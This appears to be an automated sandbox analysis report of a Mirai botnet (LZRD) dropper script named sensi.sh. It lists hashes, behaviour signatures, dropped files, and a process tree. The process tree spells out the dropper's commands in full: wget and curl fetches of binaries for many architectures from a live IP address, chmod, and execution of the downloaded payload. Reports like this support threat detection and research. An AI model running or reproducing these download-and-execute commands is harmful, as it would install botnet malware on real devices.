Overview

overview

10

Static

static

1

sensi.sh

ubuntu-18.04-amd64

10

sensi.sh

debian-9-armhf

10

sensi.sh

debian-9-mips

10

sensi.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    125s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26-12-2024 04:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sensi.sh

  • Size

    1KB

  • MD5

    f610810764eec4dd2eed9f4e0e66121b

  • SHA1

    98af7417d18cf6bf49a61104a4aebbaac59a0f39

  • SHA256

    7e6ff187d2f1740e90596f19c2bd843495849a3c38dbdae69658bca46bf92705

  • SHA512

    189710551b60f60dfd94fa21333c58e0d0f0e230d8ca60f33fc8f2fd9f1df2d58b56e969e0639f3ae6d4ed4e27f16fa84239628b86122f434f3baadf6af3826c

Score
10/10
mirailzrdantivmbotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (18559) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 57 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sensi.sh
    /tmp/sensi.sh
    1⤵
    • Writes file to tmp directory
    PID:652
    • /usr/bin/wget
      wget http://107.150.62.186/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:654
    • /usr/bin/curl
      curl -O http://107.150.62.186/d/xd.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:674
    • /bin/cat
      cat xd.x86
      2⤵
        PID:683
      • /bin/chmod
        chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:684
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        PID:685
      • /usr/bin/wget
        wget http://107.150.62.186/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:687
      • /usr/bin/curl
        curl -O http://107.150.62.186/d/xd.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:690
      • /bin/cat
        cat xd.mips
        2⤵
        • System Network Configuration Discovery
        PID:705
      • /bin/chmod
        chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.mips xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:707
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        PID:709
      • /usr/bin/wget
        wget http://107.150.62.186/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:711
      • /usr/bin/curl
        curl -O http://107.150.62.186/d/xd.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:721
      • /bin/cat
        cat xd.mpsl
        2⤵
          PID:735
        • /bin/chmod
          chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          PID:737
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.arm4
          2⤵
            PID:740
          • /usr/bin/curl
            curl -O http://107.150.62.186/d/xd.arm4
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:745
          • /bin/cat
            cat xd.arm4
            2⤵
              PID:746
            • /bin/chmod
              chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.mips xd.mpsl xd.x86
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/SSH
              ./SSH
              2⤵
              • Executes dropped EXE
              PID:748
            • /usr/bin/wget
              wget http://107.150.62.186/d/xd.arm5
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://107.150.62.186/d/xd.arm5
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:758
            • /bin/cat
              cat xd.arm5
              2⤵
                PID:768
              • /bin/chmod
                chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/SSH
                ./SSH
                2⤵
                • Executes dropped EXE
                PID:771
              • /usr/bin/wget
                wget http://107.150.62.186/d/xd.arm6
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://107.150.62.186/d/xd.arm6
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:785
              • /bin/cat
                cat xd.arm6
                2⤵
                  PID:786
                • /bin/chmod
                  chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:787
                • /tmp/SSH
                  ./SSH
                  2⤵
                  • Executes dropped EXE
                  • Reads runtime system information
                  PID:788
                • /usr/bin/wget
                  wget http://107.150.62.186/d/xd.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://107.150.62.186/d/xd.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/cat
                  cat xd.arm7
                  2⤵
                    PID:791
                  • /bin/chmod
                    chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:792
                  • /tmp/SSH
                    ./SSH
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:793
                  • /usr/bin/wget
                    wget http://107.150.62.186/d/xd.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:797
                  • /usr/bin/curl
                    curl -O http://107.150.62.186/d/xd.ppc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:803
                  • /bin/cat
                    cat xd.ppc
                    2⤵
                      PID:809
                    • /bin/chmod
                      chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:810
                    • /tmp/SSH
                      ./SSH
                      2⤵
                      • Executes dropped EXE
                      PID:811
                    • /usr/bin/wget
                      wget http://107.150.62.186/d/xd.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:813
                    • /usr/bin/curl
                      curl -O http://107.150.62.186/d/xd.m68k
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:814
                    • /bin/cat
                      cat xd.m68k
                      2⤵
                        PID:815
                      • /bin/chmod
                        chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:816
                      • /tmp/SSH
                        ./SSH
                        2⤵
                        • Executes dropped EXE
                        PID:817
                      • /usr/bin/wget
                        wget http://107.150.62.186/d/xd.sh4
                        2⤵
                        • Writes file to tmp directory
                        PID:819
                      • /usr/bin/curl
                        curl -O http://107.150.62.186/d/xd.sh4
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:820
                      • /bin/cat
                        cat xd.sh4
                        2⤵
                          PID:821
                        • /bin/chmod
                          chmod +x sensi.sh SSH systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-CBg6JZ xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:822
                        • /tmp/SSH
                          ./SSH
                          2⤵
                          • Executes dropped EXE
                          PID:823

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/SSH
                        Filesize

                        30KB

                        MD5

                        624ae5fa2a8d23325322f17acb5de2f6

                        SHA1

                        396de2e2830581961b57508b57bbf1f7a54bc170

                        SHA256

                        a003fe86d3d280d11f802ee453fa1f807c7a6670197dd6ad901776072fdc3bc7

                        SHA512

                        6c15520f66d9aa32ae2c32cdf4380485cdb3b611bcec0f3402838107bb64287c2cce1421f0166d14d5d72672842f6d50553733b8002c95169fe3200c7332df27

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        31KB

                        MD5

                        9b73eb8559c4fd0e08ff4633ad6e3ea9

                        SHA1

                        ac67015a4818aee4716952357b6ea54f128474d5

                        SHA256

                        a7a63f861864ca132089d86bd050bd692f0f2c1d204ce12f7622f74ff133521a

                        SHA512

                        5f21c3d51ff22e45ead4d91c9bd093e542742da3e0e332f2c175e39be9eb22ab6c1cd16d58874db07753b83298010a584146aad1dcf8b5a6fad5a94cbd4a5cba

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        276B

                        MD5

                        e492bd856914e9b5486bcc9f1e604d18

                        SHA1

                        358973c3d750673d8fec3d74a0cbb076338e94e2

                        SHA256

                        89993cd7d7ee04c02a9964e28d234a7163813f5a550c9506d35b7d46e2814b36

                        SHA512

                        d59be5ac7718bde390810e93719b35a3fe9f3a10c05bb6f4249942dfbf0f1f23c876bd69e0eb6d651bd11e66197bcb8ecd3cc11ef7ef5b8a159a7535e02aa7fb

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        25KB

                        MD5

                        f045c51cd05035f4b7f8ba72a061bb0d

                        SHA1

                        7fd3f73455e32d92a283a60793c4cff93044b708

                        SHA256

                        3df735a6d46483ccb2cb3c1b8e0630baa3221dd038da1047267d08c6f7d00b37

                        SHA512

                        1a46139ddccc3b7593be595637b52035f0f12126d545badf919be84a78d3d2e738779720ea4489d1209c7f1e971bf2bd3b621347a06091b5df44e14b7c03fdde

                        Download Submit

                      • /tmp/SSH
                        Filesize

                        62KB

                        MD5

                        ce55e81eb7781f1832867e1577673555

                        SHA1

                        e12be36c77337cac6221de3e5acc1353d5185c65

                        SHA256

                        9a4691b7a04f76f55cf4b698d4ca3c5a025b0067eb49116e9e17a3b17d666474

                        SHA512

                        724d78185ba73748611f3702458c2c2c4f8efb8b8c96647a5748a6c257093c3c967b99600259de8785775d42a37920390091c06089f4536a38905086d93f5b5f

                        Download Submit

                      • /tmp/xd.x86
                        Filesize

                        29KB

                        MD5

                        9c04ed95992e4b7589d2cfaf2b6b6afb

                        SHA1

                        f512b4b75401213c5734fc1c724e00b9dd7fdafb

                        SHA256

                        ca0dad92996c7ba5fbb49e82fc119e6b7a4ef91e060f8aff17b92e93f8bf5185

                        SHA512

                        f093f6c21d840575cefb2bf3d1b4f4a3f9f3729c4c74c17846aa194223cbe0dd7eb182c55ae15f31d496671e0d6ea1a6f0dd3d2b10e1f32f396f0f573d28db92

                        Download Submit